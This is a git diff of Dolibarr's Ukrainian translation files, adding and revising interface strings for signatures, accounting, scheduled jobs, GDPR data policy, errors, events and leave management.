+TicketsCategoriesArea=Tickets Categories ActionCommCategoriesArea=Категорії подій WebsitePagesCategoriesArea=Категорії контейнерів сторінки KnowledgemanagementsCategoriesArea=Категорії статті КМ UseOrOperatorForCategories=Використовуйте оператор «АБО» для категорій +AddObjectIntoCategory=Add object into category diff --git a/htdocs/langs/uk_UA/commercial.lang b/htdocs/langs/uk_UA/commercial.lang index dfb601dd0e3..e503110d214 100644 --- a/htdocs/langs/uk_UA/commercial.lang +++ b/htdocs/langs/uk_UA/commercial.lang @@ -74,8 +74,16 @@ StatusProsp=Перспективний статус DraftPropals=Проект комерційних пропозицій NoLimit=Немає межі ToOfferALinkForOnlineSignature=Посилання для онлайн підпису -WelcomeOnOnlineSignaturePage=Ласкаво просимо на сторінку, щоб прийняти комерційні пропозиції від %s -ThisScreenAllowsYouToSignDocFrom=На цьому екрані ви можете прийняти та підписати або відмовитися від пропозиції/комерційної пропозиції -ThisIsInformationOnDocumentToSign=Це інформація про документ, який потрібно прийняти або відмовити +WelcomeOnOnlineSignaturePageProposal=Welcome to the page to accept commercial proposals from %s +WelcomeOnOnlineSignaturePageContract=Welcome to %s Contract PDF Signing Page +WelcomeOnOnlineSignaturePageFichinter=Welcome to %s Intervention PDF Signing Page +ThisScreenAllowsYouToSignDocFromProposal=This screen allow you to accept and sign, or refuse, a quote/commercial proposal +ThisScreenAllowsYouToSignDocFromContract=This screen allow you to sign contract on PDF format online. +ThisScreenAllowsYouToSignDocFromFichinter=This screen allow you to sign intervention on PDF format online. +ThisIsInformationOnDocumentToSignProposal=This is information on document to accept or refuse +ThisIsInformationOnDocumentToSignContract=This is information on contract to sign +ThisIsInformationOnDocumentToSignFichinter=This is information on intervention to sign SignatureProposalRef=Підпис пропозиції/комерційної пропозиції %s +SignatureContractRef=Signature of contract %s +SignatureFichinterRef=Signature of intervention %s FeatureOnlineSignDisabled=Функція онлайнового підпису вимкнена або документ створений до ввімкнення функції diff --git a/htdocs/langs/uk_UA/compta.lang b/htdocs/langs/uk_UA/compta.lang index b8b2574e28b..5c087346bf6 100644 --- a/htdocs/langs/uk_UA/compta.lang +++ b/htdocs/langs/uk_UA/compta.lang @@ -29,6 +29,8 @@ BalanceBefore=Баланс (раніше) Balance=Баланс Debit=Дебет Credit=Кредит +AccountingDebit=Debit +AccountingCredit=Credit Piece=Бухгалтерський док. AmountHTVATRealReceived=Чисто зібрано AmountHTVATRealPaid=Чиста оплата @@ -244,12 +246,12 @@ TurnoverPerProductInCommitmentAccountingNotRelevant=Звіт про товаро TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=Звіт про оборот, зібраний за ставкою податку з продажу, недоступний. Цей звіт доступний лише для оборотів, за які виставляється рахунок. CalculationMode=Режим розрахунку AccountancyJournal=Журнал облікових кодів -ACCOUNTING_VAT_SOLD_ACCOUNT=Обліковий запис за замовчуванням для ПДВ на продажі (використовується, якщо не визначено під час налаштування словника ПДВ) -ACCOUNTING_VAT_BUY_ACCOUNT=Обліковий запис за замовчуванням для ПДВ на покупки (використовується, якщо не визначено під час налаштування словника ПДВ) -ACCOUNTING_VAT_PAY_ACCOUNT=Бухгалтерський рахунок за замовчуванням для сплати ПДВ -ACCOUNTING_ACCOUNT_CUSTOMER=Обліковий запис, який використовується для третіх осіб клієнта +ACCOUNTING_VAT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on sales (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on purchases (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_PAY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for paying VAT +ACCOUNTING_ACCOUNT_CUSTOMER=Account (from the Chart Of Account) used for "customer" third parties ACCOUNTING_ACCOUNT_CUSTOMER_Desc=Спеціальний обліковий рахунок, визначений на картці третьої сторони, використовуватиметься лише для обліку Subledger. Це значення буде використовуватися для Головної книги та як значення за замовчуванням для обліку Підкниги, якщо спеціальний обліковий запис клієнта у третьої сторони не визначено. -ACCOUNTING_ACCOUNT_SUPPLIER=Обліковий запис, що використовується для третіх сторін постачальника +ACCOUNTING_ACCOUNT_SUPPLIER=Account (from the Chart of Account) used for the "vendor" third parties ACCOUNTING_ACCOUNT_SUPPLIER_Desc=Спеціальний обліковий рахунок, визначений на картці третьої сторони, використовуватиметься лише для обліку Subledger. Це значення буде використовуватися для Головної книги та як значення за замовчуванням для обліку підкниги, якщо виділений обліковий запис постачальника на третьої сторони не визначено. ConfirmCloneTax=Підтвердьте клон соціального/фіскального податку ConfirmCloneVAT=Підтвердьте клон декларації з ПДВ @@ -300,3 +302,4 @@ InvoiceToPay15Days=Для оплати (15-30 днів) InvoiceToPay30Days=Для оплати (> 30 днів) ConfirmPreselectAccount=Попередньо виберіть бухгалтерський код ConfirmPreselectAccountQuestion=Ви впевнені, що бажаєте попередньо вибрати %s вибрані рядки з цим обліковим кодом? +AmountPaidMustMatchAmountOfDownPayment=Amount paid must match amount of down payment diff --git a/htdocs/langs/uk_UA/contracts.lang b/htdocs/langs/uk_UA/contracts.lang index 5bbde0c16e3..4e84be290ec 100644 --- a/htdocs/langs/uk_UA/contracts.lang +++ b/htdocs/langs/uk_UA/contracts.lang @@ -80,7 +80,7 @@ ConfirmDeleteContractLine=Ви впевнені, що хочете видали MoveToAnotherContract=Перенесіть послугу в інший контракт. ConfirmMoveToAnotherContract=Я вибрав новий цільовий контракт і підтверджую, що хочу перемістити цю послугу в цей контракт. ConfirmMoveToAnotherContractQuestion=Виберіть, у якому існуючому контракті (одної третьої сторони) ви хочете перемістити цю послугу? -PaymentRenewContractId=Поновити рядок контракту (номер %s) +PaymentRenewContractId=Renew contract %s (service %s) ExpiredSince=Термін придатності NoExpiredServices=Немає прострочених активних послуг ListOfServicesToExpireWithDuration=Термін дії списку служб закінчується через %s днів diff --git a/htdocs/langs/uk_UA/cron.lang b/htdocs/langs/uk_UA/cron.lang index 0aba7c27928..143fb8dcfc1 100644 --- a/htdocs/langs/uk_UA/cron.lang +++ b/htdocs/langs/uk_UA/cron.lang @@ -26,7 +26,7 @@ CronCommand=Команда CronList=Заплановані роботи CronDelete=Видалити заплановані завдання CronConfirmDelete=Ви впевнені, що хочете видалити ці заплановані завдання? -CronExecute=Запустити заплановану роботу +CronExecute=Launch now CronConfirmExecute=Ви впевнені, що хочете виконати ці заплановані завдання зараз? CronInfo=Модуль запланованих завдань дозволяє планувати завдання для їх автоматичного виконання. Роботи також можна запускати вручну. CronTask=Робота @@ -58,7 +58,7 @@ CronNote=Коментар CronFieldMandatory=Поля %s є обов’язковими для заповнення CronErrEndDateStartDt=Дата завершення не може передувати даті початку StatusAtInstall=Статус при установці модуля -CronStatusActiveBtn=Розклад +CronStatusActiveBtn=Enable scheduling CronStatusInactiveBtn=Вимкнути CronTaskInactive=Це завдання вимкнено (не заплановано) CronId=id @@ -84,10 +84,17 @@ MakeLocalDatabaseDumpShort=Резервне копіювання локальн MakeLocalDatabaseDump=Створіть локальний дамп бази даних. Параметри: стиснення ('gz' або 'bz' або 'none'), тип резервної копії ('mysql', 'pgsql', 'auto'), 1, 'auto' або ім'я файлу для створення, кількість файлів резервної копії для збереження MakeSendLocalDatabaseDumpShort=Надіслати резервну копію локальної бази даних MakeSendLocalDatabaseDump=Надсилайте резервну копію локальної бази даних електронною поштою. Параметри: до, від, тема, повідомлення, ім'я файлу (ім'я надісланого файлу), фільтр ("sql" лише для резервної копії бази даних) +BackupIsTooLargeSend=Sorry, last backup file is too large to be send by email +CleanUnfinishedCronjobShort=Clean unfinished cronjob +CleanUnfinishedCronjob=Clean cronjob stuck in processing when the process is no longer running WarningCronDelayed=Увага, з метою продуктивності, незалежно від наступної дати виконання ввімкнених завдань, ваші завдання можуть бути відкладені максимум на %s годин перед запуском. DATAPOLICYJob=Засіб очищення та анонімізації даних JobXMustBeEnabled=Завдання %s має бути увімкнено +EmailIfError=Email for warning on error +ErrorInBatch=Error when running the job %s + # Cron Boxes LastExecutedScheduledJob=Остання виконана запланована робота NextScheduledJobExecute=Наступне заплановано завдання для виконання NumberScheduledJobError=Кількість запланованих завдань з помилкою +NumberScheduledJobNeverFinished=Number of scheduled jobs never finished diff --git a/htdocs/langs/uk_UA/datapolicy.lang b/htdocs/langs/uk_UA/datapolicy.lang new file mode 100644 index 00000000000..c4570d1e9c9 --- /dev/null +++ b/htdocs/langs/uk_UA/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Покупець +DATAPOLICY_TIERS_PROSPECT = Prospect +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Supplier +DATAPOLICY_CONTACT_CLIENT = Покупець +DATAPOLICY_CONTACT_PROSPECT = Prospect +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Supplier +DATAPOLICY_ADHERENT = Member +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/uk_UA/ecm.lang b/htdocs/langs/uk_UA/ecm.lang index b040af92133..9ec18f6c77a 100644 --- a/htdocs/langs/uk_UA/ecm.lang +++ b/htdocs/langs/uk_UA/ecm.lang @@ -5,6 +5,7 @@ ECMSectionManual=Ручний каталог ECMSectionAuto=Автоматичний довідник ECMSectionsManual=Ручне дерево ECMSectionsAuto=Автоматичне дерево +ECMSectionsMedias=Medias tree ECMSections=Довідники ECMRoot=Корінь ECM ECMNewSection=Новий каталог @@ -16,7 +17,9 @@ ECMNbOfFilesInSubDir=Кількість файлів у підкаталогах ECMCreationUser=Творець ECMArea=Зона DMS/ECM ECMAreaDesc=Область DMS/ECM (Система керування документами / електронне керування вмістом) дозволяє зберігати, обмінюватися та швидко шукати всі види документів у Dolibarr. -ECMAreaDesc2=* Автоматичні довідники заповнюються автоматично при додаванні документів з картки елемента.
      * Каталоги вручну можна використовувати для збереження документів, не пов'язаних з певним елементом. +ECMAreaDesc2a=* Manual directories can be used to save documents not linked to a particular element. +ECMAreaDesc2b=* Automatic directories are filled automatically when adding documents from the page of an element. +ECMAreaDesc3=* Medias directories are files into the subdirectory /medias of documents directory, readable by everybody with no need to be logged and no need to have the file shared explicitely. It is used to store image files from emailing or website module. ECMSectionWasRemoved=Каталог %s видалено. ECMSectionWasCreated=Створено каталог %s . ECMSearchByKeywords=Пошук за ключовими словами diff --git a/htdocs/langs/uk_UA/errors.lang b/htdocs/langs/uk_UA/errors.lang index 3fc8a11315c..1cd4633d865 100644 --- a/htdocs/langs/uk_UA/errors.lang +++ b/htdocs/langs/uk_UA/errors.lang @@ -14,6 +14,7 @@ ErrorLoginAlreadyExists=Вхід %s вже існує. ErrorGroupAlreadyExists=Група %s вже існує. ErrorEmailAlreadyExists=Електронна адреса %s вже існує. ErrorRecordNotFound=Запис не знайдено. +ErrorRecordNotFoundShort=Not found ErrorFailToCopyFile=Не вдалося скопіювати файл ' %s ' в ' %s a09a4b73. ErrorFailToCopyDir=Не вдалося скопіювати каталог ' %s ' в ' %s a09a17f7. ErrorFailToRenameFile=Не вдалося перейменувати файл ' %s ' в ' %s a09a17f7. @@ -48,6 +49,7 @@ ErrorBadImageFormat=Файл зображення не підтримує фор ErrorBadDateFormat=Значення '%s' має неправильний формат дати ErrorWrongDate=Дата не правильна! ErrorFailedToWriteInDir=Не вдалося записати в каталог %s +ErrorFailedToBuildArchive=Failed to build archive file %s ErrorFoundBadEmailInFile=Знайдено неправильний синтаксис електронної пошти для рядків %s у файлі (приклад рядка %s з email=%s) ErrorUserCannotBeDelete=Користувача не можна видалити. Можливо, це пов’язано з сутностями Dolibarr. ErrorFieldsRequired=Деякі обов’язкові поля залишено порожніми. @@ -76,7 +78,7 @@ ErrorNoValueForCheckBoxType=Будь ласка, заповніть значен ErrorNoValueForRadioType=Будь ласка, заповніть значення для списку радіо ErrorBadFormatValueList=Значення списку не може містити більше однієї коми: %s , але потрібно принаймні одне: ключ, значення ErrorFieldCanNotContainSpecialCharacters=Поле %s не повинно містити спеціальних символів. -ErrorFieldCanNotContainSpecialNorUpperCharacters=Поле %s не повинно містити ні спеціальних символів, ні символів верхнього регістру та не може містити лише цифри. +ErrorFieldCanNotContainSpecialNorUpperCharacters=The field %s must not contain special characters, nor upper case characters, and must start with an alphabetical character (a-z) ErrorFieldMustHaveXChar=Поле %s має містити щонайменше символ %s. ErrorNoAccountancyModuleLoaded=Не активовано модуль бухгалтерії ErrorExportDuplicateProfil=Ця назва профілю вже існує для цього набору експорту. @@ -95,9 +97,9 @@ ErrorWrongValueForField=Поле %s : ' %s A09NICFRIMS0FZ0 A0CB20FRIF ErrorHtmlInjectionForField=Field %s: The value '%s' contains a malicious data not allowed ErrorFieldValueNotIn=Field %s : ' %s ' is not a value found in field %s of %s ErrorFieldRefNotIn=Field %s : ' %s ' is not a %s existing ref +ErrorMultipleRecordFoundFromRef=Several record found when searching from ref %s. No way to know which ID to use. ErrorsOnXLines=Знайдено помилки %s ErrorFileIsInfectedWithAVirus=Антивірусна програма не змогла перевірити файл (можливо, файл заражений вірусом) -ErrorSpecialCharNotAllowedForField=Спеціальні символи не допускаються для поля "%s" ErrorNumRefModel=Посилання існує в базі даних (%s) і несумісне з цим правилом нумерації. Видаліть запис або перейменуйте посилання, щоб активувати цей модуль. ErrorQtyTooLowForThisSupplier=Замала кількість для цього постачальника або ціна не визначена на цей продукт для цього постачальника ErrorOrdersNotCreatedQtyTooLow=Деякі замовлення не створено через занадто малу кількість @@ -242,6 +244,7 @@ ErrorObjectMustHaveStatusActiveToBeDisabled=Об’єкти повинні ма ErrorObjectMustHaveStatusDraftOrDisabledToBeActivated=Щоб увімкнути, об’єкти повинні мати статус «Чернетка» або «Вимкнено». ErrorNoFieldWithAttributeShowoncombobox=Жодне поля не має властивості 'showoncombobox' у визначенні об'єкта '%s'. Неможливо показати комболіст. ErrorFieldRequiredForProduct=Поле "%s" є обов'язковим для продукту %s +AlreadyTooMuchPostOnThisIPAdress=You have already posted too much on this IP address. ProblemIsInSetupOfTerminal=Проблема в налаштуванні терміналу %s. ErrorAddAtLeastOneLineFirst=Спочатку додайте хоча б один рядок ErrorRecordAlreadyInAccountingDeletionNotPossible=Помилка, запис уже перенесено в бухгалтерію, видалення неможливо. @@ -277,8 +280,8 @@ ErrorWrongFileName=У назві файлу не може бути __SOMETHING__ ErrorNotInDictionaryPaymentConditions=Немає в словнику умов оплати, будь ласка, змініть. ErrorIsNotADraft=%s не є чернеткою ErrorExecIdFailed=Не вдається виконати команду "id" -ErrorBadCharIntoLoginName=Неавторизований символ в імені для входу -ErrorRequestTooLarge=Помилка, запит завеликий +ErrorBadCharIntoLoginName=Unauthorized character in the field %s +ErrorRequestTooLarge=Error, request too large or session expired ErrorNotApproverForHoliday=Ви не затверджуєте відпустку %s ErrorAttributeIsUsedIntoProduct=Цей атрибут використовується в одному або кількох варіантах товару ErrorAttributeValueIsUsedIntoProduct=Це значення атрибута використовується в одному або кількох варіантах продукту @@ -291,6 +294,15 @@ ErrorAjaxRequestFailed=Request failed ErrorThirpdartyOrMemberidIsMandatory=Third party or Member of partnership is mandatory ErrorFailedToWriteInTempDirectory=Failed to write in temp directory ErrorQuantityIsLimitedTo=Quantity is limited to %s +ErrorFailedToLoadThirdParty=Failed to find/load thirdparty from id=%s, email=%s, name=%s +ErrorThisPaymentModeIsNotSepa=This payment mode is not a bank account +ErrorStripeCustomerNotFoundCreateFirst=Stripe customer is not set for this thirdparty (or set to a value deleted on Stripe side). Create (or re-attach) it first. +ErrorCharPlusNotSupportedByImapForSearch=IMAP search is not able to search into sender or recipient for a string containing the character + +ErrorTableNotFound=Table %s not found +ErrorValueForTooLow=Value for %s is too low +ErrorValueCantBeNull=Value for %s can't be null +ErrorDateOfMovementLowerThanDateOfFileTransmission=The date of the bank transaction can't be lower than the date of the file transmission +ErrorTooMuchFileInForm=Too much files in form, the maximum number is %s file(s) # Warnings WarningParamUploadMaxFileSizeHigherThanPostMaxSize=Ваш параметр PHP upload_max_filesize (%s) вищий за параметр PHP post_max_size (%s). Це не послідовне налаштування. @@ -304,7 +316,7 @@ WarningConfFileMustBeReadOnly=Попередження, ваш файл конф WarningsOnXLines=Попередження щодо %s вихідних записів WarningNoDocumentModelActivated=Жодна модель для створення документів не активована. Модель буде вибрана за замовчуванням, доки ви не перевірите налаштування модуля. WarningLockFileDoesNotExists=Попередження, після завершення налаштування ви повинні вимкнути інструменти встановлення/міграції, додавши файл install.lock до каталогу %s a300. Пропуск створення цього файлу є серйозною загрозою безпеці. -WarningUntilDirRemoved=Усі попередження безпеки (видні лише користувачам-адміністраторам) залишаться активними, доки вразливість є (або константу MAIN_REMOVE_INSTALL_WARNING додано в Налаштування->Інше налаштування). +WarningUntilDirRemoved=This security warning will remain active as long as the vulnerability is present. WarningCloseAlways=Попередження, закриття виконується, навіть якщо кількість різниться між вихідними та цільовими елементами. Увімкніть цю функцію обережно. WarningUsingThisBoxSlowDown=Попередження, використання цього поля серйозно уповільнює роботу всіх сторінок, на яких відображається поле. WarningClickToDialUserSetupNotComplete=Налаштування інформації ClickToDial для вашого користувача не завершено (див. вкладку ClickToDial на вашій картці користувача). @@ -326,6 +338,8 @@ WarningAvailableOnlyForHTTPSServers=Доступно лише за умови в WarningModuleXDisabledSoYouMayMissEventHere=Модуль %s не ввімкнено. Тому ви можете пропустити багато подій тут. WarningPaypalPaymentNotCompatibleWithStrict=Значення "Strict" робить функції онлайн-платежів некоректними. Натомість використовуйте "Lax". WarningThemeForcedTo=Warning, theme has been forced to %s by hidden constant MAIN_FORCETHEME +WarningPagesWillBeDeleted=Warning, this will also delete all existing pages/containers of the website. You should export your website before, so you have a backup to re-import it later. +WarningAutoValNotPossibleWhenStockIsDecreasedOnInvoiceVal=Automatic validation is disabled when option to decrease stock is set on "Invoice validation". # Validate RequireValidValue = Недійсне значення diff --git a/htdocs/langs/uk_UA/eventorganization.lang b/htdocs/langs/uk_UA/eventorganization.lang index 2dccbf9f263..4160b6a3c0a 100644 --- a/htdocs/langs/uk_UA/eventorganization.lang +++ b/htdocs/langs/uk_UA/eventorganization.lang @@ -54,12 +54,15 @@ EVENTORGANIZATION_FILTERATTENDEES_TYPE = У формі для створення # Object # EventOrganizationConfOrBooth= Конференція або стенд +EventOrganizationConfOrBoothes=Conferences or Boothes ManageOrganizeEvent = Керуйте організацією заходу ConferenceOrBooth = Конференція або стенд ConferenceOrBoothTab = Конференція або стенд AmountPaid = Виплачувана сума DateOfRegistration = Дата реєстрації ConferenceOrBoothAttendee = Учасник конференції або стенду +ApplicantOrVisitor=Applicant or visitor +Speaker=Speaker # # Template Mail @@ -112,15 +115,15 @@ EvntOrgRegistrationHelpMessage = Тут ви можете проголосува EvntOrgRegistrationConfHelpMessage = Тут ви можете запропонувати нову конференцію для анімації під час події. EvntOrgRegistrationBoothHelpMessage = Тут ви можете подати заявку на наявність стенду під час заходу. ListOfSuggestedConferences = Список пропонованих конференцій -ListOfSuggestedBooths = Список пропонованих кабін -ListOfConferencesOrBooths=Список конференцій або стендів заходу проекту +ListOfSuggestedBooths=Suggested booths +ListOfConferencesOrBooths=Conferences or booths of event project SuggestConference = Запропонуйте нову конференцію SuggestBooth = Запропонуйте будку ViewAndVote = Переглядайте запропоновані події та голосуйте за них PublicAttendeeSubscriptionGlobalPage = Загальне посилання для реєстрації на подію PublicAttendeeSubscriptionPage = Загальне посилання лише для реєстрації на цю подію MissingOrBadSecureKey = Ключ безпеки недійсний або відсутній -EvntOrgWelcomeMessage = Ця форма дозволяє зареєструватися як новий учасник заходу: %s +EvntOrgWelcomeMessage = This form allows you to register as a new participant to the event EvntOrgDuration = Ця конференція починається на %s і закінчується на %s. ConferenceAttendeeFee = Плата за відвідування конференції за подію: «%s» від %s до %s. BoothLocationFee = Розташування стенду для події: "%s" від %s до %s @@ -130,7 +133,7 @@ LabelOfconference=Етикетка конференції ConferenceIsNotConfirmed=Реєстрація недоступна, конференція ще не підтверджена DateMustBeBeforeThan=%s має бути перед %s DateMustBeAfterThan=%s має бути після %s - +MaxNbOfAttendeesReached=The maximum number of participants has been reached NewSubscription=Реєстрація OrganizationEventConfRequestWasReceived=Вашу пропозицію щодо конференції отримано OrganizationEventBoothRequestWasReceived=Ваш запит на будку отримано @@ -139,6 +142,7 @@ OrganizationEventPaymentOfRegistrationWasReceived=Ваш платіж за ре OrganizationEventBulkMailToAttendees=Це нагадування про вашу участь у заході як учасника OrganizationEventBulkMailToSpeakers=Це нагадування про вашу участь у заході як доповідача OrganizationEventLinkToThirdParty=Посилання на третю сторону (клієнт, постачальник або партнер) +OrganizationEvenLabelName=Public name of the conference or booth NewSuggestionOfBooth=Заявка на стенд NewSuggestionOfConference=Заявка на конференцію @@ -154,7 +158,7 @@ VoteOk = Ваш голос прийнято. AlreadyVoted = Ви вже проголосували за цю подію. VoteError = Під час голосування сталася помилка, спробуйте ще раз. -SubscriptionOk = Ваша реєстрація підтверджена +SubscriptionOk=Your registration has been recorded ConfAttendeeSubscriptionConfirmation = Підтвердження вашої підписки на подію Attendee = Учасник PaymentConferenceAttendee = Оплата учасникам конференції @@ -162,6 +166,7 @@ PaymentBoothLocation = Оплата місця розташування стен DeleteConferenceOrBoothAttendee=Видалити учасника RegistrationAndPaymentWereAlreadyRecorder=Реєстрація та платіж уже були записані для електронної пошти %s EmailAttendee=Електронна адреса учасника +EmailCompany=Company email EmailCompanyForInvoice=Електронна адреса компанії (для рахунку-фактури, якщо вона відрізняється від електронної адреси учасника) ErrorSeveralCompaniesWithEmailContactUs=Знайдено кілька компаній із цією електронною поштою, тому ми не можемо автоматично підтвердити вашу реєстрацію. Будь ласка, зв’яжіться з нами за адресою %s для перевірки вручну ErrorSeveralCompaniesWithNameContactUs=Було знайдено кілька компаній з такою назвою, тому ми не можемо автоматично підтвердити вашу реєстрацію. Будь ласка, зв’яжіться з нами за адресою %s для перевірки вручну diff --git a/htdocs/langs/uk_UA/holiday.lang b/htdocs/langs/uk_UA/holiday.lang index 94a4245e689..078b0a63317 100644 --- a/htdocs/langs/uk_UA/holiday.lang +++ b/htdocs/langs/uk_UA/holiday.lang @@ -1,9 +1,11 @@ # Dolibarr language file - Source file is en_US - holiday HRM=HRM -Holidays=Залишати +Holidays=Leaves +Holiday=Leave CPTitreMenu=Залишати MenuReportMonth=Щомісячна виписка MenuAddCP=Нова заява на відпустку +MenuCollectiveAddCP=New collective leave request NotActiveModCP=Ви повинні ввімкнути модуль Залишити, щоб переглянути цю сторінку. AddCP=Подайте заявку на відпустку DateDebCP=Дата початку @@ -56,6 +58,7 @@ ConfirmDeleteCP=Підтвердити видалення цього запит ErrorCantDeleteCP=Помилка, ви не маєте права видалити цей запит на відпустку. CantCreateCP=Ви не маєте права подавати заяву на відпустку. InvalidValidatorCP=Ви повинні вибрати затверджувача для вашого запиту на відпустку. +InvalidValidator=The user chosen isn't an approver. NoDateDebut=Ви повинні вибрати дату початку. NoDateFin=Ви повинні вибрати дату завершення. ErrorDureeCP=Ваша заява на відпустку не містить робочого дня. @@ -79,6 +82,8 @@ MotifCP=Підстава UserCP=Користувач ErrorAddEventToUserCP=Під час додавання виняткової відпустки сталася помилка. AddEventToUserOkCP=Додавання виняткової відпустки завершено. +ErrorFieldRequiredUserOrGroup=The "group" field or the "user" field must be filled in +fusionGroupsUsers=The groups field and the user field will be merged MenuLogCP=Переглянути журнали змін LogCP=Журнал усіх оновлень, внесених до "Балансу відпусток" ActionByCP=Оновлено @@ -86,6 +91,13 @@ UserUpdateCP=Оновлено для PrevSoldeCP=Попередній баланс NewSoldeCP=Новий баланс alreadyCPexist=Запит на відпустку на цей період вже подано. +UseralreadyCPexist=A leave request has already been done on this period for %s. +groups=Groups +users=Users +AutoSendMail=Automatic mailing +NewHolidayForGroup=New collective leave request +SendRequestCollectiveCP=Send collective leave request +AutoValidationOnCreate=Automatic validation FirstDayOfHoliday=Запит на початок відпустки LastDayOfHoliday=День закінчення заяви на відпустку BoxTitleLastLeaveRequests=Останні %s змінені запити на відпустку @@ -137,3 +149,10 @@ XIsAUsualNonWorkingDay=%s, як правило, неробочий день BlockHolidayIfNegative=Блокувати, якщо баланс негативний LeaveRequestCreationBlockedBecauseBalanceIsNegative=Створення цього запиту на відпустку заблоковано, оскільки ваш баланс негативний ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=Запит на залишення %s має бути чернетковий, скасований або відмовлено у видаленні +IncreaseHolidays=Increase holiday +HolidayRecordsIncreased= %s holiday records increased +HolidayRecordIncreased=Holiday record increased +ConfirmMassIncreaseHoliday=Bulk holiday increase +NumberDayAddMass=Number of day to add to the selection +ConfirmMassIncreaseHolidayQuestion=Are you sure you want to increase holiday of the %s selected record(s)? +HolidayQtyNotModified=Balance of remaining days for %s has not been changed diff --git a/htdocs/langs/uk_UA/install.lang b/htdocs/langs/uk_UA/install.lang index de4b97ac2a8..e92e6153c28 100644 --- a/htdocs/langs/uk_UA/install.lang +++ b/htdocs/langs/uk_UA/install.lang @@ -51,7 +51,6 @@ DatabaseName=Ім'я бази даних DatabasePrefix=Префікс таблиці бази даних DatabasePrefixDescription=Префікс таблиці бази даних. Якщо порожній, за замовчуванням llx_. AdminLogin=Обліковий запис користувача для власника бази даних Dolibarr. -PasswordAgain=Повторно введіть підтвердження пароля AdminPassword=Пароль для власника бази даних Dolibarr. CreateDatabase=Створити базу даних CreateUser=Створіть обліковий запис користувача або надайте дозвіл облікового запису користувача на базу даних Dolibarr @@ -89,7 +88,7 @@ LoginAlreadyExists=Вже існує DolibarrAdminLogin=Вхід адміністратора Dolibarr AdminLoginAlreadyExists=Обліковий запис адміністратора Dolibarr ' %s ' вже існує. Поверніться, якщо хочете створити ще один. FailedToCreateAdminLogin=Не вдалося створити обліковий запис адміністратора Dolibarr. -WarningRemoveInstallDir=Попередження, з міркувань безпеки після завершення встановлення або оновлення вам слід додати файл під назвою install.lock до каталогу документів Dolibarr, щоб знову запобігти випадковому/зловмисному використанню інструментів встановлення. +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. FunctionNotAvailableInThisPHP=Недоступно в цьому PHP ChoosedMigrateScript=Виберіть скрипт міграції DataMigration=Міграція бази даних (дані) @@ -209,7 +208,12 @@ HideNotAvailableOptions=Приховати недоступні параметр ErrorFoundDuringMigration=Під час процесу міграції було повідомлено про помилки, тому наступний 